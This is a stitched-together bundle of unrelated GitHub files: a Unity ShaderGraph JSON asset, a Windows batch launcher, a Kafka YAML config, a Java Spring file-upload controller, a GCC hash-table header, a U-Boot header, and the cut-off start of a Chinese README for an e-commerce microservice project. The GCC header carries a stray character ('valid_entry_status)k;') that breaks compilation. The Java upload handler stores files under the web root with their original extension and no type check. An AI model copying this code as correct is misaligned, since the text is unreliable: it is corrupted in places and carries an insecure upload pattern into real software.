1.0\\n },\\n \\\"m_DefaultValue\\\": {\\n \\\"x\\\": 0.0,\\n \\\"y\\\": 0.0,\\n \\\"z\\\": 0.0,\\n \\\"w\\\": 0.0\\n }\\n}\"\n },\n {\n \"typeInfo\": {\n \"fullName\": \"UnityEditor.ShaderGraph.DynamicVectorMaterialSlot\"\n },\n \"JSONnodeData\": \"{\\n \\\"m_Id\\\": 2,\\n \\\"m_DisplayName\\\": \\\"False\\\",\\n \\\"m_SlotType\\\": 0,\\n \\\"m_Priority\\\": 2147483647,\\n \\\"m_Hidden\\\": false,\\n \\\"m_ShaderOutputName\\\": \\\"False\\\",\\n \\\"m_StageCapability\\\": 3,\\n \\\"m_Value\\\": {\\n \\\"x\\\": 0.0,\\n \\\"y\\\": 0.0,\\n \\\"z\\\": 0.0,\\n \\\"w\\\": 0.0\\n },\\n \\\"m_DefaultValue\\\": {\\n \\\"x\\\": 0.0,\\n \\\"y\\\": 0.0,\\n \\\"z\\\": 0.0,\\n \\\"w\\\": 0.0\\n }\\n}\"\n },\n {\n \"typeInfo\": {\n \"fullName\": \"UnityEditor.ShaderGraph.DynamicVectorMaterialSlot\"\n },\n \"JSONnodeData\": \"{\\n \\\"m_Id\\\": 3,\\n \\\"m_DisplayName\\\": \\\"Out\\\",\\n \\\"m_SlotType\\\": 1,\\n \\\"m_Priority\\\": 2147483647,\\n \\\"m_Hidden\\\": false,\\n \\\"m_ShaderOutputName\\\": \\\"Out\\\",\\n \\\"m_StageCapability\\\": 3,\\n \\\"m_Value\\\": {\\n \\\"x\\\": 0.0,\\n \\\"y\\\": 0.0,\\n \\\"z\\\": 0.0,\\n \\\"w\\\": 0.0\\n },\\n \\\"m_DefaultValue\\\": {\\n \\\"x\\\": 0.0,\\n \\\"y\\\": 0.0,\\n \\\"z\\\": 0.0,\\n \\\"w\\\": 0.0\\n }\\n}\"\n }\n ],\n \"m_PreviewExpanded\": true\n}" }, { "typeInfo": { "fullName": "UnityEditor.ShaderGraph.PropertyNode" }, "JSONnodeData": "{\n \"m_GuidSerialized\": \"cb56aac4-0ca6-4d8c-a785-500c625287c0\",\n \"m_GroupGuidSerialized\": \"00000000-0000-0000-0000-000000000000\",\n \"m_Name\": \"Property\",\n \"m_DrawState\": {\n \"m_Expanded\": true,\n \"m_Position\": {\n \"serializedVersion\": \"2\",\n \"x\": 422.5,\n \"y\": 92.00003051757813,\n \"width\": 114.0,\n \"height\": 77.0\n }\n },\n \"m_SerializableSlots\": [\n {\n \"typeInfo\": {\n \"fullName\": \"UnityEditor.ShaderGraph.BooleanMaterialSlot\"\n },\n \"JSONnodeData\": \"{\\n \\\"m_Id\\\": 0,\\n \\\"m_DisplayName\\\": \\\"Invert Colors\\\",\\n \\\"m_SlotType\\\": 1,\\n \\\"m_Priority\\\": 2147483647,\\n \\\"m_Hidden\\\": false,\\n \\\"m_ShaderOutputName\\\": \\\"Out\\\",\\n \\\"m_StageCapability\\\": 3,\\n \\\"m_Value\\\": false,\\n \\\"m_DefaultValue\\\": false\\n}\"\n }\n ],\n \"m_PreviewExpanded\": true,\n \"m_PropertyGuidSerialized\": \"9bb42c1e-f870-4681-9cf0-24f4bb72b434\"\n}" }, { "typeInfo": { "fullName": "UnityEditor.ShaderGraph.StepNode" }, "JSONnodeData": "{\n \"m_GuidSerialized\": \"1e704699-b565-48a9-8353-cc7a080f8226\",\n \"m_GroupGuidSerialized\": \"00000000-0000-0000-0000-000000000000\",\n \"m_Name\": \"Step\",\n \"m_DrawState\": {\n \"m_Expanded\": true,\n \"m_Position\": {\n \"serializedVersion\": \"2\",\n \"x\": 26.0,\n \"y\": 228.0,\n \"width\": 208.0,\n \"height\": 302.0\n }\n },\n \"m_SerializableSlots\": [\n {\n \"typeInfo\": {\n \"fullName\": \"UnityEditor.ShaderGraph.DynamicVectorMaterialSlot\"\n },\n \"JSONnodeData\": \"{\\n \\\"m_Id\\\": 0,\\n \\\"m_DisplayName\\\": \\\"Edge\\\",\\n \\\"m_SlotType\\\": 0,\\n \\\"m_Priority\\\": 2147483647,\\n \\\"m_Hidden\\\": false,\\n \\\"m_ShaderOutputName\\\": \\\"Edge\\\",\\n \\\"m_StageCapability\\\": 3,\\n \\\"m_Value\\\": {\\n \\\"x\\\": 0.5,\\n \\\"y\\\": 0.5,\\n \\\"z\\\": 0.5,\\n \\\"w\\\": 1.0\\n },\\n \\\"m_DefaultValue\\\": {\\n \\\"x\\\": 0.0,\\n \\\"y\\\": 0.0,\\n \\\"z\\\": 0.0,\\n \\\"w\\\": 0.0\\n }\\n}\"\n },\n {\n \"typeInfo\": {\n \"fullName\": \"UnityEditor.ShaderGraph.DynamicVectorMaterialSlot\"\n },\n \"JSONnodeData\": \"{\\n \\\"m_Id\\\": 1,\\n \\\"m_DisplayName\\\": \\\"In\\\",\\n \\\"m_SlotType\\\": 0,\\n \\\"m_Priority\\\": 2147483647,\\n \\\"m_Hidden\\\": false,\\n \\\"m_ShaderOutputName\\\": \\\"In\\\",\\n \\\"m_StageCapability\\\": 3,\\n \\\"m_Value\\\": {\\n \\\"x\\\": 0.0,\\n \\\"y\\\": 0.0,\\n \\\"z\\\": 0.0,\\n \\\"w\\\": 0.0\\n },\\n \\\"m_DefaultValue\\\": {\\n \\\"x\\\": 0.0,\\n \\\"y\\\": 0.0,\\n \\\"z\\\": 0.0,\\n \\\"w\\\": 0.0\\n }\\n}\"\n },\n {\n \"typeInfo\": {\n \"fullName\": \"UnityEditor.ShaderGraph.DynamicVectorMaterialSlot\"\n },\n \"JSONnodeData\": \"{\\n \\\"m_Id\\\": 2,\\n \\\"m_DisplayName\\\": \\\"Out\\\",\\n \\\"m_SlotType\\\": 1,\\n \\\"m_Priority\\\": 2147483647,\\n \\\"m_Hidden\\\": false,\\n \\\"m_ShaderOutputName\\\": \\\"Out\\\",\\n \\\"m_StageCapability\\\": 3,\\n \\\"m_Value\\\": {\\n \\\"x\\\": 0.0,\\n \\\"y\\\": 0.0,\\n \\\"z\\\": 0.0,\\n \\\"w\\\": 0.0\\n },\\n \\\"m_DefaultValue\\\": {\\n \\\"x\\\": 0.0,\\n \\\"y\\\": 0.0,\\n \\\"z\\\": 0.0,\\n \\\"w\\\": 0.0\\n }\\n}\"\n }\n ],\n \"m_PreviewExpanded\": true\n}" }, { "typeInfo": { "fullName": "UnityEditor.ShaderGraph.PropertyNode" }, "JSONnodeData": "{\n \"m_GuidSerialized\": \"91424c68-f27a-4fa9-8167-bc5690ca312b\",\n \"m_GroupGuidSerialized\": \"00000000-0000-0000-0000-000000000000\",\n \"m_Name\": \"Property\",\n \"m_DrawState\": {\n \"m_Expanded\": true,\n \"m_Position\": {\n \"serializedVersion\": \"2\",\n \"x\": -413.0,\n \"y\": 393.0,\n \"width\": 214.0,\n \"height\": 146.0\n }\n },\n \"m_SerializableSlots\": [\n {\n \"typeInfo\": {\n \"fullName\": \"UnityEditor.ShaderGraph.Vector1MaterialSlot\"\n },\n \"JSONnodeData\": \"{\\n \\\"m_Id\\\": 0,\\n \\\"m_DisplayName\\\": \\\"Vector1\\\",\\n \\\"m_SlotType\\\": 1,\\n \\\"m_Priority\\\": 2147483647,\\n \\\"m_Hidden\\\": false,\\n \\\"m_ShaderOutputName\\\": \\\"Out\\\",\\n \\\"m_StageCapability\\\": 3,\\n \\\"m_Value\\\": 0.0,\\n \\\"m_DefaultValue\\\": 0.0,\\n \\\"m_Labels\\\": [\\n \\\"X\\\"\\n ]\\n}\"\n }\n ],\n \"m_PreviewExpanded\": true,\n \"m_PropertyGuidSerialized\": \"d5963d28-9070-4def-8222-e9e3f06ef79b\"\n}" }, { "typeInfo": { "fullName": "UnityEditor.ShaderGraph.UnlitMasterNode" }, "JSONnodeData": "{\n \"m_GuidSerialized\": \"fcf27748-ad19-4e78-a3db-dd38a39835e9\",\n \"m_GroupGuidSerialized\": \"00000000-0000-0000-0000-000000000000\",\n \"m_Name\": \"Unlit Master\",\n \"m_DrawState\": {\n \"m_Expanded\": true,\n \"m_Position\": {\n \"serializedVersion\": \"2\",\n \"x\": 980.0,\n \"y\": 117.0,\n \"width\": 208.0,\n \"height\": 350.0\n }\n },\n \"m_SerializableSlots\": [\n {\n \"typeInfo\": {\n \"fullName\": \"UnityEditor.ShaderGraph.PositionMaterialSlot\"\n },\n \"JSONnodeData\": \"{\\n \\\"m_Id\\\": 9,\\n \\\"m_DisplayName\\\": \\\"Position\\\",\\n \\\"m_SlotType\\\": 0,\\n \\\"m_Priority\\\": 2147483647,\\n \\\"m_Hidden\\\": false,\\n \\\"m_ShaderOutputName\\\": \\\"Position\\\",\\n \\\"m_StageCapability\\\": 1,\\n \\\"m_Value\\\": {\\n \\\"x\\\": 0.0,\\n \\\"y\\\": 0.0,\\n \\\"z\\\": 0.0\\n },\\n \\\"m_DefaultValue\\\": {\\n \\\"x\\\": 0.0,\\n \\\"y\\\": 0.0,\\n \\\"z\\\": 0.0\\n },\\n \\\"m_Labels\\\": [\\n \\\"X\\\",\\n \\\"Y\\\",\\n \\\"Z\\\"\\n ],\\n \\\"m_Space\\\": 0\\n}\"\n },\n {\n \"typeInfo\": {\n \"fullName\": \"UnityEditor.ShaderGraph.ColorRGBMaterialSlot\"\n },\n \"JSONnodeData\": \"{\\n \\\"m_Id\\\": 0,\\n \\\"m_DisplayName\\\": \\\"Color\\\",\\n \\\"m_SlotType\\\": 0,\\n \\\"m_Priority\\\": 2147483647,\\n \\\"m_Hidden\\\": false,\\n \\\"m_ShaderOutputName\\\": \\\"Color\\\",\\n \\\"m_StageCapability\\\": 2,\\n \\\"m_Value\\\": {\\n \\\"x\\\": 0.5,\\n \\\"y\\\": 0.5,\\n \\\"z\\\": 0.5\\n },\\n \\\"m_DefaultValue\\\": {\\n \\\"x\\\": 0.0,\\n \\\"y\\\": 0.0,\\n \\\"z\\\": 0.0\\n },\\n \\\"m_Labels\\\": [\\n \\\"X\\\",\\n \\\"Y\\\",\\n \\\"Z\\\"\\n ],\\n \\\"m_ColorMode\\\": 0\\n}\"\n },\n {\n \"typeInfo\": {\n \"fullName\": \"UnityEditor.ShaderGraph.Vector1MaterialSlot\"\n },\n \"JSONnodeData\": \"{\\n \\\"m_Id\\\": 7,\\n \\\"m_DisplayName\\\": \\\"Alpha\\\",\\n \\\"m_SlotType\\\": 0,\\n \\\"m_Priority\\\": 2147483647,\\n \\\"m_Hidden\\\": false,\\n \\\"m_ShaderOutputName\\\": \\\"Alpha\\\",\\n \\\"m_StageCapability\\\": 2,\\n \\\"m_Value\\\": 1.0,\\n \\\"m_DefaultValue\\\": 1.0,\\n \\\"m_Labels\\\": [\\n \\\"X\\\"\\n ]\\n}\"\n },\n {\n \"typeInfo\": {\n \"fullName\": \"UnityEditor.ShaderGraph.Vector1MaterialSlot\"\n },\n \"JSONnodeData\": \"{\\n \\\"m_Id\\\": 8,\\n \\\"m_DisplayName\\\": \\\"AlphaClipThreshold\\\",\\n \\\"m_SlotType\\\": 0,\\n \\\"m_Priority\\\": 2147483647,\\n \\\"m_Hidden\\\": false,\\n \\\"m_ShaderOutputName\\\": \\\"AlphaClipThreshold\\\",\\n \\\"m_StageCapability\\\": 2,\\n \\\"m_Value\\\": 0.0,\\n \\\"m_DefaultValue\\\": 0.0,\\n \\\"m_Labels\\\": [\\n \\\"X\\\"\\n ]\\n}\"\n }\n ],\n \"m_PreviewExpanded\": true,\n \"m_SerializableSubShaders\": [\n {\n \"typeInfo\": {\n \"fullName\": \"UnityEngine.Rendering.LWRP.LightWeightUnlitSubShader\"\n },\n \"JSONnodeData\": \"{}\"\n }\n ],\n \"m_SurfaceType\": 1,\n \"m_AlphaMode\": 0,\n \"m_TwoSided\": false\n}" }, { "typeInfo": { "fullName": "UnityEditor.ShaderGraph.SceneColorNode" }, "JSONnodeData": "{\n \"m_GuidSerialized\": \"dc83d01b-b45e-45f9-962f-029d32ea597b\",\n \"m_GroupGuidSerialized\": \"00000000-0000-0000-0000-000000000000\",\n \"m_Name\": \"Scene Color\",\n \"m_DrawState\": {\n \"m_Expanded\": true,\n \"m_Position\": {\n \"serializedVersion\": \"2\",\n \"x\": -351.0,\n \"y\": 151.0,\n \"width\": 130.0,\n \"height\": 77.0\n }\n },\n \"m_SerializableSlots\": [\n {\n \"typeInfo\": {\n \"fullName\": \"UnityEditor.ShaderGraph.ScreenPositionMaterialSlot\"\n },\n \"JSONnodeData\": \"{\\n \\\"m_Id\\\": 0,\\n \\\"m_DisplayName\\\": \\\"UV\\\",\\n \\\"m_SlotType\\\": 0,\\n \\\"m_Priority\\\": 2147483647,\\n \\\"m_Hidden\\\": false,\\n \\\"m_ShaderOutputName\\\": \\\"UV\\\",\\n \\\"m_StageCapability\\\": 3,\\n \\\"m_Value\\\": {\\n \\\"x\\\": 0.0,\\n \\\"y\\\": 0.0,\\n \\\"z\\\": 0.0,\\n \\\"w\\\": 0.0\\n },\\n \\\"m_DefaultValue\\\": {\\n \\\"x\\\": 0.0,\\n \\\"y\\\": 0.0,\\n \\\"z\\\": 0.0,\\n \\\"w\\\": 0.0\\n },\\n \\\"m_ScreenSpaceType\\\": 0\\n}\"\n },\n {\n \"typeInfo\": {\n \"fullName\": \"UnityEditor.ShaderGraph.Vector3MaterialSlot\"\n },\n \"JSONnodeData\": \"{\\n \\\"m_Id\\\": 1,\\n \\\"m_DisplayName\\\": \\\"Out\\\",\\n \\\"m_SlotType\\\": 1,\\n \\\"m_Priority\\\": 2147483647,\\n \\\"m_Hidden\\\": false,\\n \\\"m_ShaderOutputName\\\": \\\"Out\\\",\\n \\\"m_StageCapability\\\": 2,\\n \\\"m_Value\\\": {\\n \\\"x\\\": 0.0,\\n \\\"y\\\": 0.0,\\n \\\"z\\\": 0.0\\n },\\n \\\"m_DefaultValue\\\": {\\n \\\"x\\\": 0.0,\\n \\\"y\\\": 0.0,\\n \\\"z\\\": 0.0\\n },\\n \\\"m_Labels\\\": [\\n \\\"X\\\",\\n \\\"Y\\\",\\n \\\"Z\\\"\\n ]\\n}\"\n }\n ],\n \"m_PreviewExpanded\": true\n}" }, { "typeInfo": { "fullName": "UnityEditor.ShaderGraph.SplitNode" }, "JSONnodeData": "{\n \"m_GuidSerialized\": \"69fbdfef-02a1-475e-8212-03ef60779285\",\n \"m_GroupGuidSerialized\": \"00000000-0000-0000-0000-000000000000\",\n \"m_Name\": \"Split\",\n \"m_DrawState\": {\n \"m_Expanded\": true,\n \"m_Position\": {\n \"serializedVersion\": \"2\",\n \"x\": -174.0,\n \"y\": 82.0,\n \"width\": 114.0,\n \"height\": 149.0\n }\n },\n \"m_SerializableSlots\": [\n {\n \"typeInfo\": {\n \"fullName\": \"UnityEditor.ShaderGraph.DynamicVectorMaterialSlot\"\n },\n \"JSONnodeData\": \"{\\n \\\"m_Id\\\": 0,\\n \\\"m_DisplayName\\\": \\\"In\\\",\\n \\\"m_SlotType\\\": 0,\\n \\\"m_Priority\\\": 2147483647,\\n \\\"m_Hidden\\\": false,\\n \\\"m_ShaderOutputName\\\": \\\"In\\\",\\n \\\"m_StageCapability\\\": 3,\\n \\\"m_Value\\\": {\\n \\\"x\\\": 0.0,\\n \\\"y\\\": 0.0,\\n \\\"z\\\": 0.0,\\n \\\"w\\\": 0.0\\n },\\n \\\"m_DefaultValue\\\": {\\n \\\"x\\\": 0.0,\\n \\\"y\\\": 0.0,\\n \\\"z\\\": 0.0,\\n \\\"w\\\": 0.0\\n }\\n}\"\n },\n {\n \"typeInfo\": {\n \"fullName\": \"UnityEditor.ShaderGraph.Vector1MaterialSlot\"\n },\n \"JSONnodeData\": \"{\\n \\\"m_Id\\\": 1,\\n \\\"m_DisplayName\\\": \\\"R\\\",\\n \\\"m_SlotType\\\": 1,\\n \\\"m_Priority\\\": 2147483647,\\n \\\"m_Hidden\\\": false,\\n \\\"m_ShaderOutputName\\\": \\\"R\\\",\\n \\\"m_StageCapability\\\": 3,\\n \\\"m_Value\\\": 0.0,\\n \\\"m_DefaultValue\\\": 0.0,\\n \\\"m_Labels\\\": [\\n \\\"X\\\"\\n ]\\n}\"\n },\n {\n \"typeInfo\": {\n \"fullName\": \"UnityEditor.ShaderGraph.Vector1MaterialSlot\"\n },\n \"JSONnodeData\": \"{\\n \\\"m_Id\\\": 2,\\n \\\"m_DisplayName\\\": \\\"G\\\",\\n \\\"m_SlotType\\\": 1,\\n \\\"m_Priority\\\": 2147483647,\\n \\\"m_Hidden\\\": false,\\n \\\"m_ShaderOutputName\\\": \\\"G\\\",\\n \\\"m_StageCapability\\\": 3,\\n \\\"m_Value\\\": 0.0,\\n \\\"m_DefaultValue\\\": 0.0,\\n \\\"m_Labels\\\": [\\n \\\"X\\\"\\n ]\\n}\"\n },\n {\n \"typeInfo\": {\n \"fullName\": \"UnityEditor.ShaderGraph.Vector1MaterialSlot\"\n },\n \"JSONnodeData\": \"{\\n \\\"m_Id\\\": 3,\\n \\\"m_DisplayName\\\": \\\"B\\\",\\n \\\"m_SlotType\\\": 1,\\n \\\"m_Priority\\\": 2147483647,\\n \\\"m_Hidden\\\": false,\\n \\\"m_ShaderOutputName\\\": \\\"B\\\",\\n \\\"m_StageCapability\\\": 3,\\n \\\"m_Value\\\": 0.0,\\n \\\"m_DefaultValue\\\": 0.0,\\n \\\"m_Labels\\\": [\\n \\\"X\\\"\\n ]\\n}\"\n },\n {\n \"typeInfo\": {\n \"fullName\": \"UnityEditor.ShaderGraph.Vector1MaterialSlot\"\n },\n \"JSONnodeData\": \"{\\n \\\"m_Id\\\": 4,\\n \\\"m_DisplayName\\\": \\\"A\\\",\\n \\\"m_SlotType\\\": 1,\\n \\\"m_Priority\\\": 2147483647,\\n \\\"m_Hidden\\\": false,\\n \\\"m_ShaderOutputName\\\": \\\"A\\\",\\n \\\"m_StageCapability\\\": 3,\\n \\\"m_Value\\\": 0.0,\\n \\\"m_DefaultValue\\\": 0.0,\\n \\\"m_Labels\\\": [\\n \\\"X\\\"\\n ]\\n}\"\n }\n ],\n \"m_PreviewExpanded\": true\n}" } ], "m_Groups": [], "m_SerializableEdges": [ { "typeInfo": { "fullName": "UnityEditor.Graphing.Edge" }, "JSONnodeData": "{\n \"m_OutputSlot\": {\n \"m_SlotId\": 0,\n \"m_NodeGUIDSerialized\": \"cb56aac4-0ca6-4d8c-a785-500c625287c0\"\n },\n \"m_InputSlot\": {\n \"m_SlotId\": 0,\n \"m_NodeGUIDSerialized\": \"575e25e4-56ae-4493-a726-802f1a735f6d\"\n }\n}" }, { "typeInfo": { "fullName": "UnityEditor.Graphing.Edge" }, "JSONnodeData": "{\n \"m_OutputSlot\": {\n \"m_SlotId\": 1,\n \"m_NodeGUIDSerialized\": \"ae1803d7-6003-4755-b1f1-76791abb9422\"\n },\n \"m_InputSlot\": {\n \"m_SlotId\": 2,\n \"m_NodeGUIDSerialized\": \"575e25e4-56ae-4493-a726-802f1a735f6d\"\n }\n}" }, { "typeInfo": { "fullName": "UnityEditor.Graphing.Edge" }, "JSONnodeData": "{\n \"m_OutputSlot\": {\n \"m_SlotId\": 3,\n \"m_NodeGUIDSerialized\": \"575e25e4-56ae-4493-a726-802f1a735f6d\"\n },\n \"m_InputSlot\": {\n \"m_SlotId\": 0,\n \"m_NodeGUIDSerialized\": \"fcf27748-ad19-4e78-a3db-dd38a39835e9\"\n }\n}" }, { "typeInfo": { "fullName": "UnityEditor.Graphing.Edge" }, "JSONnodeData": "{\n \"m_OutputSlot\": {\n \"m_SlotId\": 1,\n \"m_NodeGUIDSerialized\": \"dc83d01b-b45e-45f9-962f-029d32ea597b\"\n },\n \"m_InputSlot\": {\n \"m_SlotId\": 0,\n \"m_NodeGUIDSerialized\": \"69fbdfef-02a1-475e-8212-03ef60779285\"\n }\n}" }, { "typeInfo": { "fullName": "UnityEditor.Graphing.Edge" }, "JSONnodeData": "{\n \"m_OutputSlot\": {\n \"m_SlotId\": 1,\n \"m_NodeGUIDSerialized\": \"69fbdfef-02a1-475e-8212-03ef60779285\"\n },\n \"m_InputSlot\": {\n \"m_SlotId\": 1,\n \"m_NodeGUIDSerialized\": \"1e704699-b565-48a9-8353-cc7a080f8226\"\n }\n}" }, { "typeInfo": { "fullName": "UnityEditor.Graphing.Edge" }, "JSONnodeData": "{\n \"m_OutputSlot\": {\n \"m_SlotId\": 2,\n \"m_NodeGUIDSerialized\": \"1e704699-b565-48a9-8353-cc7a080f8226\"\n },\n \"m_InputSlot\": {\n \"m_SlotId\": 1,\n \"m_NodeGUIDSerialized\": \"575e25e4-56ae-4493-a726-802f1a735f6d\"\n }\n}" }, { "typeInfo": { "fullName": "UnityEditor.Graphing.Edge" }, "JSONnodeData": "{\n \"m_OutputSlot\": {\n \"m_SlotId\": 2,\n \"m_NodeGUIDSerialized\": \"1e704699-b565-48a9-8353-cc7a080f8226\"\n },\n \"m_InputSlot\": {\n \"m_SlotId\": 0,\n \"m_NodeGUIDSerialized\": \"ae1803d7-6003-4755-b1f1-76791abb9422\"\n }\n}" }, { "typeInfo": { "fullName": "UnityEditor.Graphing.Edge" }, "JSONnodeData": "{\n \"m_OutputSlot\": {\n \"m_SlotId\": 0,\n \"m_NodeGUIDSerialized\": \"91424c68-f27a-4fa9-8167-bc5690ca312b\"\n },\n \"m_InputSlot\": {\n \"m_SlotId\": 0,\n \"m_NodeGUIDSerialized\": \"1e704699-b565-48a9-8353-cc7a080f8226\"\n }\n}" } ], "m_PreviewData": { "serializedMesh": { "m_SerializedMesh": "", "m_Guid": "" } }, "m_Path": "Graphs" }
{ "pile_set_name": "Github" }
@echo off @REM @REM Copyright 2018 The GraphicsFuzz Project Authors @REM @REM Licensed under the Apache License, Version 2.0 (the "License"); @REM you may not use this file except in compliance with the License. @REM You may obtain a copy of the License at @REM @REM https://www.apache.org/licenses/LICENSE-2.0 @REM @REM Unless required by applicable law or agreed to in writing, software @REM distributed under the License is distributed on an "AS IS" BASIS, @REM WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. @REM See the License for the specific language governing permissions and @REM limitations under the License. @REM IF DEFINED PYTHON_GF ( "%PYTHON_GF%" "%~dpn0.py" %* ) ELSE ( where /q py IF %ERRORLEVEL% EQU 0 ( py -3 "%~dpn0.py" %* ) ELSE ( where /q python3 IF %ERRORLEVEL% EQU 0 ( python3 "%~dpn0.py" %* ) ELSE ( python "%~dpn0.py" %* ) ) )
{ "pile_set_name": "Github" }
spring: kafka: bootstrap-servers: 127.0.0.1:9092 producer: value-serializer: consumer: group-id: testGroup auto-offset-reset: earliest value-deserializer:
{ "pile_set_name": "Github" }
public: // Overrides the base class version of findFileBinding() virtual FXFileAssoc* findFileBinding(const FXchar* pathname); // Overrides the base class version of findDirBinding() virtual FXFileAssoc* findDirBinding(const FXchar* pathname); // Overrides the base class version of findExecBinding() virtual FXFileAssoc* findExecBinding(const FXchar* pathname);
{ "pile_set_name": "Github" }
package cn.tycoding.controller; import cn.tycoding.entity.Result; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.multipart.MultipartFile; import javax.servlet.http.HttpServletRequest; import java.io.File; import java.io.IOException; import java.text.SimpleDateFormat; import java.util.Date; /** * 封装了文件上传和下载的控制层 * * @auther TyCoding * @date 2018/8/2 */ @RestController public class UploadDownController { /** * 文件上传 * @param picture * @param request * @return */ @RequestMapping("/upload") public Result upload(@RequestParam("picture") MultipartFile picture, HttpServletRequest request) { //获取文件在服务器的储存位置 String path = request.getSession().getServletContext().getRealPath("/upload"); File filePath = new File(path); System.out.println("文件的保存路径:" + path); if (!filePath.exists() && !filePath.isDirectory()) { System.out.println("目录不存在,创建目录:" + filePath); filePath.mkdir(); } //获取原始文件名称(包含格式) String originalFileName = picture.getOriginalFilename(); System.out.println("原始文件名称:" + originalFileName); //获取文件类型,以最后一个`.`为标识 String type = originalFileName.substring(originalFileName.lastIndexOf(".") + 1); System.out.println("文件类型:" + type); //获取文件名称(不包含格式) String name = originalFileName.substring(0, originalFileName.lastIndexOf(".")); //设置文件新名称: 当前时间+文件名称(不包含格式) Date d = new Date(); SimpleDateFormat sdf = new SimpleDateFormat("yyyyMMddHHmmss"); String date = sdf.format(d); String fileName = date + name + "." + type; System.out.println("新文件名称:" + fileName); //在指定路径下创建一个文件 File targetFile = new File(path, fileName); //将文件保存到服务器指定位置 try { picture.transferTo(targetFile); System.out.println("上传成功"); //将文件在服务器的存储路径返回 return new Result(true,"/upload/" + fileName); } catch (IOException e) { System.out.println("上传失败"); e.printStackTrace(); return new Result(false, "上传失败"); } } }
{ "pile_set_name": "Github" }
// -*- C++ -*- // Copyright (C) 2005-2014 Free Software Foundation, Inc. // // This file is part of the GNU ISO C++ Library. This library is free // software; you can redistribute it and/or modify it under the terms // of the GNU General Public License as published by the Free Software // Foundation; either version 3, or (at your option) any later // version. // This library is distributed in the hope that it will be useful, but // WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU // General Public License for more details. // Under Section 7 of GPL version 3, you are granted additional // permissions described in the GCC Runtime Library Exception, version // 3.1, as published by the Free Software Foundation. // You should have received a copy of the GNU General Public License and // a copy of the GCC Runtime Library Exception along with this program; // see the files COPYING3 and COPYING.RUNTIME respectively. If not, see // <http://www.gnu.org/licenses/>. // Copyright (C) 2004 Ami Tavory and Vladimir Dreizin, IBM-HRL. // Permission to use, copy, modify, sell, and distribute this software // is hereby granted without fee, provided that the above copyright // notice appears in all copies, and that both that copyright notice // and this permission notice appear in supporting documentation. None // of the above authors, nor IBM Haifa Research Laboratories, make any // representation about the suitability of this software for any // purpose. It is provided "as is" without express or implied // warranty. /** * @file gp_hash_table_map_/constructor_destructor_no_store_hash_fn_imps.hpp * Contains implementations of gp_ht_map_'s constructors, destructor, * and related functions. */ PB_DS_CLASS_T_DEC inline void PB_DS_CLASS_C_DEC:: constructor_insert_new_imp(mapped_const_reference r_val, size_type pos, false_type) { _GLIBCXX_DEBUG_ASSERT(m_entries[pos].m_stat != valid_entry_status)k; entry* const p_e = m_entries + pos; new (&p_e->m_value) mapped_value_type(r_val); p_e->m_stat = valid_entry_status; _GLIBCXX_DEBUG_ONLY(debug_base::insert_new(p_e->m_value.first);) }
{ "pile_set_name": "Github" }
/* * (C) Copyright 2009-2016 CompuLab, Ltd. * * Authors: Nikita Kiryanov <[email protected]> * Igor Grinberg <[email protected]> * * SPDX-License-Identifier: GPL-2.0+ */ #ifndef _LAYOUT_ #define _LAYOUT_ #define RESERVED_FIELDS NULL #define LAYOUT_VERSION_UNRECOGNIZED -1 #define LAYOUT_VERSION_AUTODETECT -2 struct eeprom_layout { struct eeprom_field *fields; int num_of_fields; int layout_version; unsigned char *data; int data_size; void (*print)(const struct eeprom_layout *eeprom_layout); int (*update)(struct eeprom_layout *eeprom_layout, char *field_name, char *new_data); }; void eeprom_layout_setup(struct eeprom_layout *layout, unsigned char *buf, unsigned int buf_size, int layout_version); __weak void __eeprom_layout_assign(struct eeprom_layout *layout, int layout_version); #endif
{ "pile_set_name": "Github" }
[toc] > 友情提示:近期在升级和优化该项目,建议先 Star 本项目。主要在做几个事情: > > * 1、微服务技术选型以 Spring Cloud Alibaba 为中心。 > * 2、修改项目分层,并合并部分服务,简化整体服务的复杂性。 > * 3、将管理后台从 React 重构到 Vue 框架。 > > 交流群:[传送门](http://www.iocoder.cn/mall-user-group/?vip&gitee) # 前言 基于微服务的思想,构建在 B2C 电商场景下的项目实战。 * 「Talk is cheap. Show me the code」(屁话少说,放码过来) > 我们看过很多技术文章,却依然不知道微服务该咋整。 * 这会是一个认真做的业务开源项目,目前 Java 代码 2w+ 行,不包括注释的情况下。 * 整体的功能如下图:![功能图](http://static.iocoder.cn/mall%20%E5%8A%9F%E8%83%BD%E5%9B%BE-min.png) > 功能图,和实际后端模块拆分,并不是绝对对应。 * [功能列表 - H5 商城](https://gitee.com/zhijiantianya/onemall/blob/master/docs/guides/%E5%8A%9F%E8%83%BD%E5%88%97%E8%A1%A8/%E5%8A%9F%E8%83%BD%E5%88%97%E8%A1%A8-H5%20%E5%95%86%E5%9F%8E.md) * [功能列表 - 管理后台](https://gitee.com/zhijiantianya/onemall/blob/master/docs/guides/%E5%8A%9F%E8%83%BD%E5%88%97%E8%A1%A8/%E5%8A%9F%E8%83%BD%E5%88%97%E8%A1%A8-%E7%AE%A1%E7%90%86%E5%90%8E%E5%8F%B0.md) * 交流群:[传送门](http://www.iocoder.cn/mall-user-group/?vip&gitee) > 一起交流,Get 知识。 * 我们迫切希望更多的参与进来,可以加入「交流群」,一起骚聊。 * [《Onemall 电商开源项目 —— 应用分层》](http://www.iocoder.cn/Onemall/Application-layer/?vip&onemall) # 演示 > 艿艿:目前的开发者,都是后端出身。所以,一帮没有审美自觉的人,撸出来的前端界面,可能是东半球倒数第二难看。 > > 迫切希望,有前端能力不错的小伙伴,加入我们,一起来完善「芋道商城」。 ## H5 商城 体验传送门:<http://h5.shop.iocoder.cn> *2M 带宽小水管,访问略微有点慢* ![GIF 图-耐心等待](https://raw.githubusercontent.com/YunaiV/Blog/master/Mall/onemall-h5-min.gif) ## 管理后台 体验传送门:<http://dashboard.shop.iocoder.cn> *2M 带宽小水管,访问略微有点慢* ![GIF 图-耐心等待](https://raw.githubusercontent.com/YunaiV/Blog/master/Mall/onemall-admin-min.gif) ## 其它演示 下面,我们会提供目前用到的中间件的管理平台。 > 艿艿:考虑到大家可以看到更全的功能,所以一般提供 admin 账号。所以,大家素质使用哟。 **SkyWalking UI** * 地址:<http://skywalking.shop.iocoder.cn> > 教程:[《芋道 SkyWalking 安装部署》](http://www.iocoder.cn/SkyWalking/install/?onemall) **Grafana UI** * 地址:http://grafana.shop.iocoder.cn:18099 * 